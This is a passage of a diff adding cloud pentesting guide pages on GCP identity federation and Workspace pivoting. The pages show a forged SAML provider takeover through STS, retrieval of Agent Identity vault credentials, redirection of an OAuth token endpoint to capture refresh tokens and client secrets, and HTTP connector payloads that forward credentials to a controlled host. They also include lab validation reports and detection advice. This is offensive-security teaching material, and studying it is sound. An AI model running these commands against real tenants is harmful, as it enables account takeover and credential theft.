principal.[[1]](#references)[[2]](#references)[[3]](#references) + +### Validated SAML provider takeover + +For a SAML provider, an attacker can add a controlled signing certificate to the provider's IdP metadata, create a correctly signed assertion for a subject or attribute value referenced by an existing IAM binding, and exchange it at Google Security Token Service (STS). The returned token acts as the forged workload principal and receives the permissions of matching `principal://` or `principalSet://` bindings.[[2]](#references)[[3]](#references)[[4]](#references) + +Google requires at least one non-expired signing certificate in updated metadata to overlap with the current metadata. This does **not** prevent the takeover: retain a legitimate certificate and add the attacker certificate as a second ``. Replacing every certificate at once is rejected.[[2]](#references) + +The following prerequisites must all be true: + +* The permission applies to the target provider, normally through project-level or inherited IAM. +* The provider is enabled and has a reachable IAM binding for a subject, group, or mapped attribute. +* The forged assertion satisfies the provider's attribute condition and SAML requirements. + +{% hint style="danger" %} +Without a matching IAM binding, modifying a provider does not itself grant resource access. Treat this as Critical when the affected pool has privileged bindings; otherwise report the dangerous trust-control capability and its missing prerequisite. +{% endhint %} + +## Enumeration and low-permission fallbacks + +```bash +PROJECT_ID="target-project" +LOCATION="global" + +gcloud iam workload-identity-pools list \ + --project "$PROJECT_ID" --location "$LOCATION" + +gcloud iam workload-identity-pools providers list \ + --project "$PROJECT_ID" --location "$LOCATION" \ + --workload-identity-pool "POOL_ID" + +gcloud iam workload-identity-pools providers describe "PROVIDER_ID" \ + --project "$PROJECT_ID" --location "$LOCATION" \ + --workload-identity-pool "POOL_ID" --format=json +``` + +If listing or describing is denied, do not stop at an empty result. Recover provider identifiers from IAM members (`principal://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/...`), Terraform/state files, deployment manifests, CI configuration, credential configuration files, or Cloud Audit Logs. The project **number**, pool ID, and provider ID are enough to construct the provider resource name.[[3]](#references)[[5]](#references) + +Inspect accessible IAM policies for exact subjects and broad attribute or pool bindings: + +```bash +gcloud projects get-iam-policy "$PROJECT_ID" --format=json | \ + jq -r '.bindings[] | .role as $role | .members[] | + select(contains("/workloadIdentityPools/")) | [$role, .] | @tsv' +``` + +### Add an attacker certificate with the exact permission + +Generate a signing key and certificate in the authorized test environment. Preserve the original IdP metadata and insert the new certificate as an additional signing descriptor: + +```xml + + + + ATTACKER_CERTIFICATE_BASE64_DER + + + +``` + +The REST update below avoids helper-command read permissions and exercises `iam.googleapis.com/workloadIdentityPoolProviders.update` directly. `overlap-metadata.xml` must contain both a current legitimate certificate and the attacker certificate: + +```bash +PROJECT_NUMBER="123456789012" +POOL_ID="existing-pool" +PROVIDER_ID="existing-saml-provider" +PROVIDER_NAME="projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}/providers/${PROVIDER_ID}" + +jq -Rs --arg name "$PROVIDER_NAME" \ + '{name:$name,saml:{idpMetadataXml:.}}' \ + overlap-metadata.xml > provider-patch.json + +curl -sS -X PATCH \ + -H "Authorization: Bearer $ACCESS_TOKEN" \ + -H 'Content-Type: application/json' \ + --data-binary @provider-patch.json \ + "https://iam.googleapis.com/v1/${PROVIDER_NAME}?updateMask=saml.idpMetadataXml" +``` + +The update returns a long-running operation. Wait for successful completion and read the provider back when permissions permit; an HTTP `200` that only accepts the operation is not proof that the metadata change committed.[[1]](#references) + +## Forge and exchange the assertion + +Create a SAML 2.0 response signed by the attacker key. The assertion must include the configured Entity ID as issuer, the target `NameID` or mapped attributes, a bearer `SubjectConfirmation`, a future validity window, an `AuthnStatement`, and this audience:[[4]](#references) + +```text +https://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/providers/PROVIDER_ID +``` + +Either the response or assertion must be signed. Use a SAML library that emits schema-valid XML; for a response signature, place `` after the response issuer. RSA-SHA256 with exclusive XML canonicalization was accepted in the live validation. Base64-encode the complete signed response and exchange it: + +```bash +ASSERTION_B64="$(base64 < signed-response.xml | tr -d '\n')" +STS_AUDIENCE="//iam.googleapis.com/projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}/providers/${PROVIDER_ID}" + +curl -sS -X POST 'https://sts.googleapis.com/v1/token' \ + -H 'Content-Type: application/x-www-form-urlencoded' \ + --data-urlencode 'grant_type=urn:ietf:params:oauth:grant-type:token-exchange' \ + --data-urlencode "audience=${STS_AUDIENCE}" \ + --data-urlencode 'scope=https://www.googleapis.com/auth/cloud-platform' \ + --data-urlencode 'requested_token_type=urn:ietf:params:oauth:token-type:access_token' \ + --data-urlencode 'subject_token_type=urn:ietf:params:oauth:token-type:saml2' \ + --data-urlencode "subject_token=${ASSERTION_B64}" +``` + +Use the returned access token directly as the federated principal, or, when a matching service-account binding grants `roles/iam.workloadIdentityUser`, exchange it through `iamcredentials.googleapis.com` for a service-account token.[[3]](#references)[[5]](#references) + +## Live validation evidence + +### Provider creation into a broadly trusted pool + +This path was validated on **2026-09-08** in a disposable project configuration: + +1. An empty Workload Identity Pool's wildcard `principalSet` had `roles/viewer` on the project. +2. An attacker-signed assertion was rejected by STS before its provider existed. +3. A service account with a custom role containing only `iam.googleapis.com/workloadIdentityPoolProviders.create` created a SAML provider that trusted the attacker certificate. +4. The long-running operation completed and the provider became `ACTIVE`. +5. The same assertion was accepted by STS. The federated token inherited the pool wildcard binding and successfully called `cloudresourcemanager.googleapis.com/v3/projects/PROJECT_ID` with HTTP `200`. +6. The wildcard binding, attacker binding, service account, custom role, provider, and pool were removed. Pool/provider deletion is soft deletion, so their IDs remain reserved temporarily but are inactive. + +### Existing provider update + +This path was validated on **2026-09-08** in a disposable project configuration: + +1. A SAML provider trusted only the laboratory victim certificate. +2. An attacker-signed response for a subject with `roles/viewer` was rejected by STS. +3. A service account with a custom role containing only `iam.googleapis.com/workloadIdentityPoolProviders.update` patched the metadata to retain the victim certificate and add its certificate. +4. The long-running operation completed, and provider read-back contained the attacker certificate. +5. The same attacker-signed response was accepted by STS, and the returned federated token successfully called `cloudresourcemanager.googleapis.com/v3/projects/PROJECT_ID` with HTTP `200`. +6. The IAM bindings, service account, custom role, provider, and pool were removed. Pool/provider deletion is soft deletion, so their IDs remain reserved temporarily but are inactive. + +### Deleted provider restoration + +This path was validated on **2026-09-08** with a second single-permission custom role: + +1. A SAML provider trusted an attacker certificate, and its pool wildcard had `roles/viewer`. +2. The provider was deleted; the signed assertion was rejected by STS. +3. A service account holding only `iam.googleapis.com/workloadIdentityPoolProviders.undelete` restored the provider through REST. +4. The operation completed, the provider became `ACTIVE`, and the same assertion received an STS token that read the project with HTTP `200`. + +### Disabled and deleted pool restoration + +Two independent paths were validated on **2026-09-08**, each with its own single-permission custom role: + +* After a pool with an attacker-controlled SAML provider and wildcard `roles/viewer` binding was disabled, STS rejected the assertion. A service account holding only `iam.googleapis.com/workloadIdentityPools.update` set `disabled=false`; the same assertion then received a token that read the project with HTTP `200`. +* After an equivalent pool was deleted, STS rejected the assertion. A service account holding only `iam.googleapis.com/workloadIdentityPools.undelete` restored the pool and its provider; the same assertion then received a token that read the project with HTTP `200`. + +All test IAM bindings, service accounts, custom roles, providers, and pools were removed. Deleted pools, providers, and roles remain inactive soft-deletion tombstones during their retention periods. + +## Detection and response + +Monitor Admin Activity logs for pool/provider creations, updates, and undeletions. Compare provider IDs, SAML metadata certificates, issuers, attribute mappings, attribute conditions, and allowed audiences with the approved configuration. Alert when a new provider appears in a pool with a pool-wide wildcard IAM binding, when `disabled` changes to false, or when a pool/provider is restored. If compromise is suspected, remove residual IAM bindings before relying on disable/delete, remove unauthorized certificates, and investigate STS token-exchange logs for forged subjects.[[5]](#references)[[6]](#references) + +## References + +- [1] [Update a Workload Identity Pool provider](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools.providers/patch) +- [2] [Workload Identity Pool provider SAML resource and certificate-overlap requirement](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools.providers#saml) +- [3] [Workload Identity Federation principal identifiers and access](https://cloud.google.com/iam/docs/workload-identity-federation) +- [4] [SAML assertion requirements for Workload Identity Federation](https://cloud.google.com/iam/docs/workload-identity-federation-with-other-providers#saml) +- [5] [Best practices for Workload Identity Federation](https://cloud.google.com/iam/docs/best-practices-for-using-workload-identity-federation) +- [6] [Example audit logs for Workload Identity Federation](https://cloud.google.com/iam/docs/audit-logging/examples-workload-identity) +- [7] [Create a Workload Identity Pool provider](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools.providers/create) +- [8] [Undelete a Workload Identity Pool provider](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools.providers/undelete) +- [9] [Update a Workload Identity Pool](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools/patch) +- [10] [Undelete a Workload Identity Pool](https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools/undelete) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md b/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md index b2f471bcfa..f4ef66e6f8 100644 --- a/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md @@ -4,6 +4,30 @@ ## **From GCP to GWS** +### Agent Identity auth-manager credentials + +Agent Identity auth providers can hold API keys, OAuth client credentials, and per-user OAuth tokens. A compromised principal with provider credential-retrieval or update access may recover existing tokens or intercept them during a later refresh. Workspace impact is conditional on a Google OAuth provider and previously consented Workspace scopes. + +{{#ref}} +gcp-agent-identity-auth-manager-privesc.md +{{#endref}} + +### Application Integration credential access + +A GCP principal with `integrations.authConfigs.get` can retrieve a known authentication profile's decrypted credential. Invoke-only access to a published integration can also reach the Gmail, Drive, Workspace Admin, HTTP, or other stored-credential connector actions already exposed by that workflow. Neither technique is domain-wide delegation or access to arbitrary users. + +{{#ref}} +gcp-application-integration-privesc.md +{{#endref}} + +### Workspace HTTP Add-on Deployment Takeover + +A GCP principal with `gsuiteaddons.deployments.update` can replace an existing HTTP add-on deployment endpoint. An already-installed and authorized user's later invocation can send the replacement endpoint the event and a token limited to scopes that user already granted. This is conditional and is not arbitrary access to every Workspace user. + +{{#ref}} +gcp-workspace-addons-privesc.md +{{#endref}} + ### **Domain Wide Delegation basics** Google Workspace's Domain-Wide delegation allows an identity object, either an **external app** from Google Workspace Marketplace or an internal **GCP Service Account**, to **access data across the Workspace on behalf of users**. The Workspace super administrator authorizes the service account's client ID and OAuth scopes, after which the application can request tokens for explicitly selected users.[[3]](#references) @@ -305,9 +329,9 @@ The fallback calls read-only `testIamPermissions` on the known resource, so lack ### Google Groups Privilege Escalation -If a Workspace group's settings and administrator policies allow organization users to join or request membership, a user may be able to join a group that has **GCP IAM permissions** assigned (check eligible groups in [https://groups.google.com/](https://groups.google.com/)). Group members inherit IAM roles granted to the group.[[21]](#references)[[22]](#references) +Workspace or Cloud Identity groups might have GCP IAM roles assigned. If a low-privilege user can join one of those groups, request membership, control a nested group, or convince an owner or manager to add them, the inherited group role becomes a Workspace-to-GCP escalation path. Check visible groups at [https://groups.google.com/](https://groups.google.com/).[[21]](#references)[[22]](#references) -Abusing this **Google Groups privilege-escalation path** may allow escalation to a group with privileged access to GCP, but membership controls and the group's IAM bindings must be verified first.[[21]](#references)[[22]](#references) +Do **not** assume every visible group is joinable. The effective options depend on tenant-wide Groups for Business policy and the individual group's **Who can join**, external-member, owner/manager, and nested-membership settings. Confirm the exact setting, IAM binding, and membership propagation before reporting an exploitable path.[[21]](#references)[[22]](#references) ## References diff --git a/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-agent-identity-auth-manager-privesc.md b/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-agent-identity-auth-manager-privesc.md new file mode 100644 index 0000000000..6d253ce6d0 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-agent-identity-auth-manager-privesc.md @@ -0,0 +1,139 @@ +# GCP - Agent Identity Auth Manager Credential Access + +{{#include ../../../banners/hacktricks-training.md}} + +Google's **Agent Identity auth manager** is a centralized vault for API keys, OAuth client credentials, and per-user OAuth tokens used by AI agents and MCP tools.[[1]](#references) This creates two important post-exploitation paths: + +* **`agentidentity.authProviders.retrieveCredentials`** can return a stored API key or a previously authorized user's OAuth access token. +* **`agentidentity.authProviders.update`** can redirect a 3-legged OAuth provider's token endpoint. During a later refresh, the vault sends the stored refresh token and OAuth client credentials to the new endpoint. + +Both are **High**, conditional findings rather than automatic Workspace compromise. Their impact depends on the provider, existing credentials or user authorizations, OAuth scopes, and knowing the provider resource name. + +{% hint style="danger" %} +These techniques do **not** mean that a principal with `iam.serviceAccounts.getAccessToken`, or even with an Agent Identity permission, can read every user's Drive. A Workspace pivot exists only when the affected auth provider uses Google OAuth and the specific user previously consented to Workspace-capable scopes such as Drive, Gmail, Calendar, or Admin SDK scopes.[[2]](#references)[[3]](#references) +{% endhint %} + +## Read-only enumeration and no-list fallback + +Auth providers are regional. Listing locations requires `agentidentity.locations.list`, and listing providers requires `agentidentity.authProviders.list` on the location parent.[[4]](#references)[[5]](#references) + +```bash +PROJECT_ID="project-id" +ACCESS_TOKEN="$(gcloud auth print-access-token)" + +# List locations visible in the project. +curl -sS \ + -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + -H "x-goog-user-project: ${PROJECT_ID}" \ + "https://agentidentity.googleapis.com/v1/projects/${PROJECT_ID}/locations" + +# List active providers in one known location. Do not request showDeleted=true. +LOCATION="us-central1" +curl -sS \ + -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + -H "x-goog-user-project: ${PROJECT_ID}" \ + "https://agentidentity.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/authProviders?pageSize=1000&showDeleted=false" +``` + +The dangerous permissions do not imply `get` or `list`. If listing is denied, recover provider names from agent source/configuration, deployment manifests, logs, previous error messages, or other locally available artifacts. With a known full name, use the provider's read-only `testIamPermissions` method directly: + +```bash +PROVIDER="projects/${PROJECT_ID}/locations/${LOCATION}/authProviders/provider-name" + +curl -sS -X POST \ + -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + -H "x-goog-user-project: ${PROJECT_ID}" \ + -H 'Content-Type: application/json' \ + --data '{"permissions":["agentidentity.authProviders.retrieveCredentials","agentidentity.authProviders.update"]}' \ + "https://agentidentity.googleapis.com/v1/${PROVIDER}:testIamPermissions" +``` + +Do not mix `agentidentity.authProviders.list` or `create` into this provider-level request: those permissions apply to the location parent and can make the whole batch fail with HTTP 400. Also remember that Google documents `testIamPermissions` as potentially failing open; use it as enumeration evidence, not as an authorization control.[[6]](#references) + +GCPPEASS performs this safe flow automatically and accepts a known-name fallback: + +```bash +python3 GCPPEAS.py \ + --resource "agent-auth-provider:${PROVIDER}" \ + --only-specified \ + --billing-project "${PROJECT_ID}" +``` + +## `agentidentity.authProviders.retrieveCredentials` + +The credentials API requires the exact `agentidentity.authProviders.retrieveCredentials` permission. A successful response contains a `success.token` and the header in which the caller should inject it.[[2]](#references) + +```bash +USER_ID="known-user@example.com" + +curl -sS -X POST \ + -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + -H "x-goog-user-project: ${PROJECT_ID}" \ + -H 'Content-Type: application/json' \ + --data "{\"userId\":\"${USER_ID}\",\"continueUri\":\"https://authorized-client.example/validateUserId\"}" \ + "https://agentidentitycredentials.googleapis.com/v1/${PROVIDER}/credentials:retrieve" +``` + +Observed behavior: + +* For an **API-key provider**, any non-empty `userId` returned the same provider-wide key. An empty value was rejected. +* For **3-legged OAuth**, the `userId` was an exact, case-sensitive vault lookup key. The correct value returned the stored access token; a different or differently cased value started a new consent flow. +* A 3LO request requires `continueUri` even when an authorization already exists. +* `forceRefreshToken` is not a Boolean. It must contain the full previously returned access-token string and asks the vault to refresh it by using the stored refresh token.[[2]](#references) + +### Conditional GCP to Workspace pivot + +Google explicitly supports configuring the provider with Google's authorization and token endpoints.[[3]](#references) If the authorized user's scopes include Workspace APIs, the recovered token can access only the resources permitted by those scopes and by that user. It does not bypass OAuth consent, expand scopes, impersonate another user, or provide domain-wide delegation. + +{% hint style="info" %} +**Live validation (2026-09-08):** In `gcp-labs-ly3gvnn7`, a service account with a custom role containing only `agentidentity.authProviders.retrieveCredentials` received HTTP 403 for provider GET and LIST but HTTP 200 from `credentials:retrieve`. It recovered a synthetic API key for arbitrary non-empty IDs. Separately, an OAuth authorization finalized by one principal under `workspace-victim@example.invalid` was retrieved intact by the exact-permission service account using that same ID; wrong and differently cased IDs required consent. No real Workspace token or data was used. +{% endhint %} + +## `agentidentity.authProviders.update` token-endpoint interception + +An update-only principal can patch nested 3LO fields without reading the provider or its secrets.[[7]](#references) Replacing only `tokenUrl` creates a delayed credential-interception path: + +```bash +ATTACKER_TOKEN_URL="https://authorized-test-endpoint.example/oauth/token" + +curl -sS -X PATCH \ + -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + -H "x-goog-user-project: ${PROJECT_ID}" \ + -H 'Content-Type: application/json' \ + --data "{\"name\":\"${PROVIDER}\",\"authProviderTypeParams\":{\"threeLeggedOauth\":{\"tokenUrl\":\"${ATTACKER_TOKEN_URL}\"}}}" \ + "https://agentidentity.googleapis.com/v1/${PROVIDER}?updateMask=authProviderTypeParams.threeLeggedOauth.tokenUrl" +``` + +When a legitimate caller later refreshes a stored user token, the auth manager sends an OAuth refresh request to the modified URL. The receiving endpoint can obtain the stored **refresh token**, **client ID**, and **client secret**. Those values can allow direct token refreshes against the original OAuth provider and access within the user's previously consented scopes. + +This path requires all of the following: + +1. A known, existing 3LO auth provider. +2. At least one stored user authorization. +3. `agentidentity.authProviders.update` on that provider. +4. A later legitimate token refresh. The update permission alone does not immediately return any credential. + +{% hint style="info" %} +**Live validation (2026-09-08):** A service account with only `agentidentity.authProviders.update` received HTTP 403 for provider GET, LIST, and `credentials:retrieve`, but successfully patched only the token URL. After a legitimate principal forced refresh of a pre-existing synthetic authorization, the replacement endpoint confirmed receipt of the exact synthetic refresh token, client ID, and client secret. The test endpoint recorded only Boolean matches; all authorizations, providers, IAM bindings, custom roles, service accounts, images, services, and source artifacts were removed afterward. +{% endhint %} + +## Detection and hardening + +* Treat `roles/agentidentity.user` and any custom role containing `retrieveCredentials` as direct credential-vault access, not ordinary agent execution. +* Restrict `roles/agentidentity.editor` and custom roles containing `authProviders.update`. Review changes to authorization and token URLs immediately. +* Bind users/agents to individual auth providers rather than granting project-wide access where possible. +* Keep `allowedScopes` narrow. An empty allow-list permits all scopes not explicitly blocked. +* Inventory provider URLs and compare them with approved OAuth domains. Revoke affected user authorizations and rotate the OAuth client secret if a token endpoint was modified. +* Review Admin Activity and Data Access logs for provider updates and credential retrieval, accounting for the fact that Data Access logging may need explicit enablement. + +## References + +* [1] [Agent Identity auth manager overview](https://docs.cloud.google.com/iam/docs/auth-manager-overview) +* [2] [`credentials.retrieve` REST method](https://docs.cloud.google.com/iam/docs/reference/agentidentitycredentials/rest/v1/projects.locations.authProviders.credentials/retrieve) +* [3] [Authenticate using 3-legged OAuth with auth manager](https://docs.cloud.google.com/iam/docs/auth-with-3lo-v2) +* [4] [Agent Identity supported locations](https://docs.cloud.google.com/iam/docs/agent-identity-locations) +* [5] [`authProviders.list` REST method](https://docs.cloud.google.com/iam/docs/reference/agentidentity/rest/v1/projects.locations.authProviders/list) +* [6] [`authProviders.testIamPermissions` REST method](https://docs.cloud.google.com/iam/docs/reference/agentidentity/rest/v1/projects.locations.authProviders/testIamPermissions) +* [7] [`authProviders.patch` REST method](https://docs.cloud.google.com/iam/docs/reference/agentidentity/rest/v1/projects.locations.authProviders/patch) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md b/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md new file mode 100644 index 0000000000..0ca1f32cce --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md @@ -0,0 +1,184 @@ +# GCP - Application Integration Credential Access + +{{#include ../../../banners/hacktricks-training.md}} + +Google Cloud **Application Integration** stores reusable authentication profiles and runs workflows that can call Gmail, Google Drive, Google Workspace Admin, HTTP APIs, and many other services. + +Three independently useful permissions are: + +* **`integrations.authConfigs.get` — Critical:** returns a known authentication profile's decrypted raw credential, including bearer tokens, OAuth access and refresh tokens, OAuth client secrets, passwords, and JWT material.[[1]](#references)[[2]](#references) +* **`integrations.integrations.invoke` — High, conditional:** invokes a known API trigger without requiring permission to list or read the integration, connection, secret, or connector service account.[[3]](#references)[[4]](#references) +* **`connectors.connections.create` — High, conditional:** creates a connection with a caller-selected runtime service account even when the caller cannot `iam.serviceAccounts.actAs` or mint tokens for that account. Google documents unauthorized service-account attachment in the HTTP Connector as CVE-2026-4644.[[10]](#references)[[11]](#references) + +The invoke path does not reveal every connector credential or grant access to every Workspace user. Its impact is limited to: + +* an existing published integration and API trigger whose names are known or guessed; +* the connector actions and caller-controlled inputs that workflow exposes; +* the account and OAuth scopes already authorized on the connection; and +* any outputs the workflow returns to its caller. + +{% hint style="danger" %} +A Drive or Gmail connection is not domain-wide access. The caller reaches only the configured connection's identity and scopes, and only through the credentials or actions described below. Domain-wide delegation is a separate configuration. +{% endhint %} + +## Read-only enumeration and no-list fallback + +Application Integration is regional. When listing is permitted, enumerate integrations: + +```bash +PROJECT_ID="project-id" +LOCATION="us-central1" +ACCESS_TOKEN="$(gcloud auth print-access-token)" + +curl_args=(-sS -H "Authorization: Bearer ${ACCESS_TOKEN}" -H "x-goog-user-project: ${PROJECT_ID}") +curl "${curl_args[@]}" "https://${LOCATION}-integrations.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/integrations?pageSize=1000" +``` + +Cloud Asset Inventory supports `integrations.googleapis.com/AuthConfig`, `Integration`, and `IntegrationVersion` assets.[[5]](#references) Source code, Terraform state, deployment pipelines, logs, API client configuration, and previous error messages are useful local/no-permission sources for auth-config UUIDs, integration names, and trigger IDs. + +Neither dangerous permission implies its corresponding list permission. A known project ID is enough to check both with Resource Manager's read-only IAM method: + +```bash +IAM_TEST='{"permissions":["integrations.authConfigs.get","integrations.authConfigs.list","integrations.integrations.invoke","integrations.integrations.list","integrations.integrationVersions.get"]}' +curl -sS -X POST -H "Authorization: Bearer ${ACCESS_TOKEN}" -H "x-goog-user-project: ${PROJECT_ID}" -H 'Content-Type: application/json' --data "${IAM_TEST}" "https://cloudresourcemanager.googleapis.com/v1/projects/${PROJECT_ID}:testIamPermissions" +``` + +GCPPEAS performs only this safe permission check. It never retrieves an auth profile or invokes a workflow: + +```bash +python3 GCPPEAS.py --project "${PROJECT_ID}" --only-specified --dont-get-iam-policies +``` + +## `integrations.authConfigs.get` — retrieve decrypted credentials + +An Application Integration authentication profile stores credentials once so multiple integration tasks can reuse them. Supported profile types include auth tokens, OAuth authorization code and client credentials, resource-owner passwords, JWT, OIDC, and service-account credentials.[[2]](#references)[[6]](#references) + +The GET method requires `integrations.authConfigs.get` and explicitly returns the **decrypted** auth config: + +```bash +AUTH_CONFIG="projects/${PROJECT_ID}/locations/${LOCATION}/authConfigs/known-uuid" +curl "${curl_args[@]}" "https://${LOCATION}-integrations.googleapis.com/v1/${AUTH_CONFIG}" +``` + +Depending on `decryptedCredential.credentialType`, the response can include: + +* `authToken.token`, commonly a Basic or bearer token; +* `oauth2AuthorizationCode.accessToken.accessToken` and `refreshToken`, plus the OAuth client ID and secret; +* OAuth client-credential or resource-owner client secrets/passwords; +* username/password pairs; +* JWT headers, payloads, and signing secret; or +* service-account configuration and scopes. + +For a Google OAuth profile carrying Workspace scopes, recovered tokens can access the profile's authorized user within those scopes. This does not expand scopes, impersonate unrelated users, or create domain-wide delegation. + +{% hint style="info" %} +**Live validation (2026-09-08):** In `gcp-labs-ly3gvnn7`, a service account had a custom role containing only `integrations.authConfigs.get`. Before the binding, profile GET and LIST returned HTTP 403. With the get-only role, profile GET returned HTTP 200 and the exact plaintext synthetic bearer token, while LIST still returned HTTP 403. Project `testIamPermissions` confirmed the candidate permission set contained only `integrations.authConfigs.get`. No real OAuth or Workspace credential was used, and the profile, client, IAM binding, role, service account, service-agent grant, and temporary API enable were removed afterward. +{% endhint %} + +## `integrations.integrations.invoke` — invoke a credentialed workflow + +The v1 execute method accepts a trigger ID and typed input parameters. The API requires `integrations.integrations.invoke` on the selected integration.[[3]](#references) + +```bash +INTEGRATION="known-integration" +TRIGGER="api_trigger/known-trigger" +EXECUTE_BODY="{\"triggerId\":\"${TRIGGER}\",\"inputParameters\":{\"knownInput\":{\"stringValue\":\"value\"}},\"doNotPropagateError\":true}" +curl -sS -X POST -H "Authorization: Bearer ${ACCESS_TOKEN}" -H "x-goog-user-project: ${PROJECT_ID}" -H 'Content-Type: application/json' --data "${EXECUTE_BODY}" "https://integrations.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/integrations/${INTEGRATION}:execute" +``` + +For a Gmail or Drive connector task, the reachable read/write operation depends on what its designer selected and mapped to trigger inputs and outputs. Google documents Gmail operations and authentication using service accounts, JWT bearer, or OAuth authorization code, while the Drive connector exposes File, Folder, Permission, and Drive entities.[[7]](#references)[[8]](#references) Review returned `outputParameters` and the integration's expected input names; do not assume a generic action is available. + +### HTTP connector credential forwarding + +The HTTP connector's `HttpRequest` action accepts a structured `Url`. Google documents that a supplied `Url.netloc` overrides the hostname configured on the connection.[[9]](#references) Therefore, if a published workflow maps caller-controlled trigger input into the action's full `connectorInputPayload`, an invoke-only principal may redirect a request to a controlled HTTPS host: + +```json +{ + "Url": { + "scheme": "https", + "netloc": "controlled.example", + "path": "capture" + }, + "Method": "GET", + "ResponseFormat": "v2" +} +``` + +Whether authentication is forwarded depends on the connection's configured auth type. API keys, Basic credentials, and bearer tokens can become request headers; OAuth client-credential connections can fetch and attach an access token.[[9]](#references) This sub-technique requires the workflow to expose the URL-bearing payload. `integrations.integrations.invoke` alone cannot modify a fixed task configuration. + +{% hint style="info" %} +**Live validation (2026-09-08):** In `gcp-labs-ly3gvnn7`, a service account had a custom role containing only `integrations.integrations.invoke`. Before the binding, execute and list both returned HTTP 403. After propagation, project `testIamPermissions` returned only the invoke permission; integration list, integration-version GET, Secret Manager access, connector action execution, service-account `actAs`, and token minting remained denied. The identity nevertheless invoked a published workflow whose HTTP connector used a synthetic API key. A caller-selected alternate hostname received the request and confirmed the exact key was present without logging or returning the key itself. All connections, integrations, IAM bindings, custom roles, service accounts, secret versions, Cloud Run resources, images, source artifacts, and temporary API enables were removed after the test. +{% endhint %} + +## `connectors.connections.create` — unauthorized runtime identity attachment + +`CreateConnection` accepts a `serviceAccount` field. A caller holding only `connectors.connections.create` can select a service account without holding `iam.serviceAccounts.actAs`, `iam.serviceAccounts.getAccessToken`, or Secret Manager access on that identity.[[10]](#references) + +The following abbreviated HTTP Connector body shows the security-sensitive fields: + +```json +{ + "connectorVersion": "projects/ATTACKER_PROJECT/locations/global/providers/default/connectors/http/versions/1", + "serviceAccount": "runtime@VICTIM_PROJECT.iam.gserviceaccount.com", + "destinationConfigs": [ + { + "key": "host_address", + "destinations": [{"host": "https://controlled-receiver.example"}] + } + ], + "authConfig": { + "authKey": "api_key", + "additionalVariables": [ + { + "key": "api_key", + "secretValue": { + "secretVersion": "projects/VICTIM_PROJECT/secrets/SYNTHETIC_SECRET/versions/1" + } + }, + {"key": "api_key_name", "stringValue": "X-LAB-KEY"}, + {"key": "api_key_location", "stringValue": "header"} + ] + } +} +``` + +This does **not** give arbitrary access to an unrelated project. For the tested cross-project execution: + +* the victim project had already granted the attacker's Google-managed Connector service agent `roles/iam.serviceAccountTokenCreator` on the selected victim service account; +* the victim service account could read only the synthetic victim secret; +* the connection parent and connector version were in the attacker project; and +* a separate execution identity in the attacker project had exactly `integrations.integrations.invoke`. + +The vulnerability is the missing authorization check on the original connection creator. The victim delegates the identity to the attacker's managed Connector service, but a principal inside the attacker project can attach that identity without being individually authorized to use it. Reachable impact is limited to the selected service account's permissions, connector capabilities, configured destinations and credentials, and an available path that executes the connection. + +{% hint style="info" %} +**Two-project live validation (2026-09-08):** The creator had exactly `connectors.connections.create` in `gcp-labs-3uis1xlx`, zero tested permissions in `gcp-labs-ly3gvnn7`, no `actAs` or token permissions on the victim runtime account, and direct victim-secret access returned HTTP 403. The connection nevertheless became `ACTIVE` while retaining the victim service-account email and victim secret reference. A separate invoke-only identity, also with zero victim permissions and HTTP 403 on direct secret access, executed the connection. The controlled victim receiver returned HTTP 200 with `credential_match=true`, proving use of the one-time victim secret. The canary was compared only by SHA-256 and was never returned. A request lacking the runtime account's required `secretmanager.versions.get` failed with `IAM_PERMISSION_DENIED`, confirming that the runtime identity's victim-side permissions were enforced. The no-service-agent-trust variant was inconclusive because trust was added while its LRO was pending. Both materialized connections, the integration, identities, roles, bindings, secret, receiver, source repository, and temporary API enables were removed; the final cleanup audit returned zero test resources. +{% endhint %} + +## Detection and hardening + +* Treat `integrations.authConfigs.get` as direct secret access. Remove it from viewer-style custom roles and monitor every use. +* Treat `integrations.integrations.invoke` as data-plane access to every published trigger within the IAM binding's scope. +* Prefer integration-resource IAM bindings and conditions over project-wide grants. +* Do not expose generic connector payloads, action names, connection names, destinations, SQL, or filter expressions as unvalidated trigger inputs. +* For HTTP connectors, validate or fix the destination and do not pass caller-controlled `Url.netloc` into `HttpRequest`. +* Keep Workspace OAuth scopes narrow and use a dedicated least-privilege account for each connection. +* Avoid returning full Gmail, Drive, Admin SDK, or third-party connector responses unless the caller needs them. +* Review auth-profile reads and Application Integration execution logs. Enable the relevant Data Access logs and alert on unexpected principals, destinations, and failed name 